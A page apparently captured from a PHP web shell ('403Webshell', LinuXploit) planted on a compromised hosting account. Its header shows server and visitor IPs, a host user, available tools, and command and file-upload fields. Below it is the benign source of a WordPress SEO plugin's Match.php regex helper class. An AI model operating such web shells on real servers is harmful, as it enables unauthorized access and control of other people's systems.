403Webshell
Server IP : 162.0.217.223  /  Your IP : 216.73.216.153
Web Server : LiteSpeed
System : Linux premium269.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : mypckeys ( 1539)
PHP Version : 8.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/mypckeys/yeslicense.org/wp-content/plugins/squirrly-seo/models/innerlinks/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/mypckeys/yeslicense.org/wp-content/plugins/squirrly-seo/models/innerlinks/Match.php
<?php
defined( 'ABSPATH' ) || die( 'Cheatin\' uh?' );

class SQ_Models_Innerlinks_Match {

	/**
	 * Used to escaped special characters that are ascii
	 *
	 * @param string $pattern
	 *
	 * @return string
	 */
	public function escapeAscii( $pattern ) {
		//Escape special Characters if not non ASCII
		if ( ! preg_match( '/[[:^print:]]/', strtolower( $pattern ) ) ) {
			$pattern = preg_replace( '/([^A-Za-z0-9-{}+.\s])/', '\\\\$1', $pattern );
		}

		return $pattern;
	}

	/**
	 * Decorates and manipulates a given pattern for matching optimization
	 *
	 * @param  $pattern
	 *
	 * @return string
	 */
	public function maskPattern( $pattern ) {
		$phrase = '(?<phrase>%2$s%1$s%3$s)';

		$boundary_start = '(?<=^|\s|\"|\'|\{|\[|\<|\(|\,)';
		$boundary_end   = '(?=$|\s|\"|\.|\?|\!|\,|\)|\}|\]|\>|\;|\:)';

		// For non ascii char:
		if ( preg_match( '/[[:^print:]]/', strtolower( $pattern ) ) ) {
			$boundary_start = $boundary_end = '\b';
		}

		//starting/ending with special char:
		if ( $boundary_start != '' && ! preg_match( '/^[a-z0-9àâçéèêëîïôûùüÿñæœ]/', strtolower( $pattern ) ) ) {
			$boundary_start = '(?<=^|\s|\"|\'|\{|\[|\<|\(|\,)';
		}
		if ( $boundary_end != '' && ! preg_match( '/[a-z0-9àâçéèêëîïôûùüÿñæœ]$/', strtolower( $pattern ) ) ) {
			$boundary_end = '(?=$|\s|\"|\.|\?|\!|\,|\)|\}|\]|\>|\;|\:)';
		}

		// For specific for Devanagari characters:
		if ( preg_match( '/^\p{Devanagari}+$/u', $pattern ) ) {
			$boundary_start = '(?<=^|\s)';
			$boundary_end   = '(?=$|\s)';
		}

		$masked_pattern = sprintf( $phrase, $pattern, $boundary_start, $boundary_end );

		return $masked_pattern;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit